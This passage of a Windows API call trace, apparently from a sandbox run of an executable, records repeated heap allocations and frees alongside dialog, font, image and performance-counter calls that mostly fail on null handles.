hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.803] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.804] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.804] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.804] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.804] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.804] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.804] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.804] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.804] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.804] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193026498, cy=27, fuLoad=0x0) returned 0x0 [0026.804] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.804] GetLastError () returned 0x715 [0026.804] SetLastError (dwErrCode=0x715) [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.804] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.804] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.805] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.805] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.805] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.805] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.805] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.805] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.805] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.805] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.805] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.805] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.806] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.806] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.806] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.806] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.806] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.806] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.806] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.806] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.807] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.807] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.807] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.807] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.807] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.807] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.807] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.807] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.807] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.807] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.807] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.807] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.807] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193007553, cy=27, fuLoad=0x0) returned 0x0 [0026.807] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.808] GetLastError () returned 0x715 [0026.808] SetLastError (dwErrCode=0x715) [0026.808] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.808] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.808] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.808] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.808] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.808] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.808] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.808] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.808] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.809] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.809] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.809] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.809] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.809] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.809] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.809] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.809] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.809] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.809] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.810] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.810] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.810] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.810] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.810] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.810] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.810] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.810] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.811] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.811] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.811] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.811] RtlAllocateHeap (HeapHandle=0x2d0000, 